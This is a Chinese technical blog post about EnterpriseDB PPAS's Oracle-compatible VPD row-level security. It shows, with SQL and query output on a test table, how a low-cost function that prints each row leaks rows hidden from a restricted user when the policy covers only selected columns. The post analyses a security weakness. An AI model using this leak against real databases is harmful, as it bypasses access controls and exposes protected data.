暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷

digoal 2016-06-14
385
TAG 21

作者

digoal

日期

2016-06-14

标签

PostgreSQL , PPAS , EDB , rls , 行安全策略 , 优化器 , 算子优先级 , 视图攻击


背景

不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。

https://yq.aliyun.com/articles/14731

PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。

PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的,解决了需要使用视图来隔离数据的目的。

RLS的隔离可以参考我以前写的文章

http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题,EnterpriseDB 9.3针对Oracle的兼容性,提供了一个叫VPD的特性,因为9.3的版本较老,那个时候还没有RLS,所以这个特性其实是基于query rewrite来做的,与barrier视图类似。

用法参考(dbms_rls包)

https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA

所以攻击方法一样有效,利用优化器的特性,先处理成本低的操作符或函数。

来看看怎么攻击?

正文

创建测试表和数据

postgres=# create table t2(id int, info text,id2 int); CREATE TABLE postgres=# insert into t2 values (1,'test',0); INSERT 16633 1 postgres=# insert into t2 values (2,'test',1); INSERT 16634 1 postgres=# insert into t2 values (3,'test',2); INSERT 16635 1 postgres=# insert into t2 values (4,'test',2); INSERT 16636 1

创建VPD函数,对于digoal用户,只允许他查看info='digoal'的记录。

CREATE OR REPLACE FUNCTION vpd1( s_schema character varying, s_object character varying) RETURNS character varying AS $BODY$ RESULT varchar2(20); rolname varchar2(64); BEGIN rolname = SYS_CONTEXT('USERENV', 'SESSION_USER'); if rolname = 'digoal' then RESULT = 'info = ''' ||rolname||'''' ; else RESULT = '1=1' ; END IF; RETURN(RESULT); END$BODY$ LANGUAGE edbspl VOLATILE SECURITY DEFINER COST 100;

添加VPD策略, select 任意字段都启用vpd策略

DECLARE v_object_schema VARCHAR2(30) := 'public'; v_object_name VARCHAR2(30) := 't2'; v_policy_name VARCHAR2(30) := 's_t2'; v_function_schema VARCHAR2(30) := 'public'; v_policy_function VARCHAR2(30) := 'vpd1'; v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE'; v_update_check boolean := true; BEGIN DBMS_RLS.ADD_POLICY( v_object_schema, v_object_name, v_policy_name, v_function_schema, v_policy_function, v_statement_types, update_check => v_update_check ); END;

连接到digoal用户

\c postgres digoal

查看执行计划,会筛选info='digoal'的数据

```
postgres=> explain select id from t2;
QUERY PLAN


Seq Scan on t2 (cost=0.00..24.50 rows=6 width=40)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)
```

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as $$ declare begin raise notice '%', v_t2; return true; end; $$ language plpgsql strict cost 0.00000000001;

查看使用了f(t2)后的执行计划

```
postgres=> explain select * from t2 where f(t2);
QUERY PLAN


Seq Scan on t2 (cost=0.00..24.50 rows=2 width=40)
Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))
(2 rows)
```

实际上,无法攻击,效果与barrier视图类似,没有办法进行攻击

```
postgres=> select * from t2 where f(t2);
id | info | id2
----+------+-----
(0 rows)

postgres=> set enable_seqscan=off;
SET
postgres=> explain select * from t2 where id=1;
QUERY PLAN


Index Scan using idx on t2 (cost=0.13..8.15 rows=1 width=40)
Index Cond: (id = 1)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(3 rows)
```

但是,如果你只针对隐私列进行筛选的话,那么就有漏洞了。

```
DECLARE
v_object_schema VARCHAR2(30) := 'public';
v_object_name VARCHAR2(30) := 't2';
v_policy_name VARCHAR2(30) := 's_t2';
BEGIN
DBMS_RLS.DROP_POLICY(
v_object_schema,
v_object_name,
v_policy_name
);
end;

DECLARE
v_object_schema VARCHAR2(30) := 'public';
v_object_name VARCHAR2(30) := 't2';
v_policy_name VARCHAR2(30) := 's_t2';
v_function_schema VARCHAR2(30) := 'public';
v_policy_function VARCHAR2(30) := 'vpd1';
v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
v_update_check boolean := true;
v_sec_relevant_cols text := 'info'; -- 隐私列, 不加的话默认是所有列强制走vpd
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check,
sec_relevant_cols => v_sec_relevant_cols
);
END;
```

当没有查询到隐私列时,是不会带上filter的,所以给攻击带来了希望

```
\c postgres digoal

postgres=> explain select info from t2;
QUERY PLAN


Seq Scan on t2 (cost=0.00..24.50 rows=6 width=32)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

postgres=> explain select id,id2 from t2;
QUERY PLAN


Seq Scan on t2 (cost=0.00..21.60 rows=1160 width=8)
(1 row)
```

带上隐私列时,filter会自动加上.

postgres=> select * from t2; id | info | id2 ----+------+----- (0 rows)

在查询中不包含隐私列时,攻击成功

通过f函数已经成功的拿到了隐私列的内容

postgres=> select id,id2 from t2 where f(t2); NOTICE: (1,test,0) NOTICE: (2,test,1) NOTICE: (3,test,2) NOTICE: (4,test,2) id | id2 ----+----- 1 | 0 2 | 1 3 | 2 4 | 2 (4 rows)

关于connect by,PPAS会自动将其转换成with语法,同样能保证数据的安全。

```
postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
QUERY PLAN


Sort (cost=1278.31..1278.32 rows=6 width=72)
Sort Key: connectby_cte.siblingssortcol
CTE prior
-> Recursive Union (cost=0.00..1252.00 rows=1166 width=104)
-> WindowAgg (cost=0.00..24.57 rows=6 width=40)
-> Seq Scan on t2 t (cost=0.00..24.50 rows=6 width=40)
Filter: ((info = 'digoal'::text) AND (id = 4))
-> WindowAgg (cost=1.95..120.41 rows=116 width=104)
-> Hash Join (cost=1.95..118.38 rows=116 width=104)
Hash Cond: (t_1.id = prior.id2)
Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
-> Seq Scan on t2 t_1 (cost=0.00..21.60 rows=1160 width=40)
Filter: (info = 'digoal'::text)
-> Hash (cost=1.20..1.20 rows=60 width=68)
-> WorkTable Scan on prior (cost=0.00..1.20 rows=60 width=68)
-> CTE Scan on prior connectby_cte (cost=0.00..26.23 rows=6 width=72)
Filter: (info = 'digoal'::text)
(17 rows)

postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
id | id2 | info
----+-----+------
(0 rows)

postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
QUERY PLAN


Sort (cost=1334.71..1337.62 rows=1166 width=40)
Sort Key: connectby_cte.siblingssortcol
CTE prior
-> Recursive Union (cost=0.00..1252.00 rows=1166 width=72)
-> WindowAgg (cost=0.00..24.57 rows=6 width=8)
-> Seq Scan on t2 t (cost=0.00..24.50 rows=6 width=8)
Filter: (id = 4)
-> WindowAgg (cost=1.95..120.41 rows=116 width=72)
-> Hash Join (cost=1.95..118.38 rows=116 width=72)
Hash Cond: (t_1.id = prior.id2)
Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
-> Seq Scan on t2 t_1 (cost=0.00..21.60 rows=1160 width=8)
-> Hash (cost=1.20..1.20 rows=60 width=68)
-> WorkTable Scan on prior (cost=0.00..1.20 rows=60 width=68)
-> CTE Scan on prior connectby_cte (cost=0.00..23.32 rows=1166 width=40)
(15 rows)

postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
id | id2
----+-----
4 | 2
2 | 1
1 | 0
(3 rows)
```

PostgreSQL 许愿链接

您的愿望将传达给PG kernel hacker、数据库厂商等, 帮助提高数据库产品质量和功能, 说不定下一个PG版本就有您提出的功能点. 针对非常好的提议,奖励限量版PG文化衫、纪念品、贴纸、PG热门书籍等,奖品丰富,快来许愿。开不开森.

9.9元购买3个月阿里云RDS PostgreSQL实例

PostgreSQL 解决方案集合

德哥 / digoal's github - 公益是一辈子的事.

digoal's wechat

文章转载自digoal,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论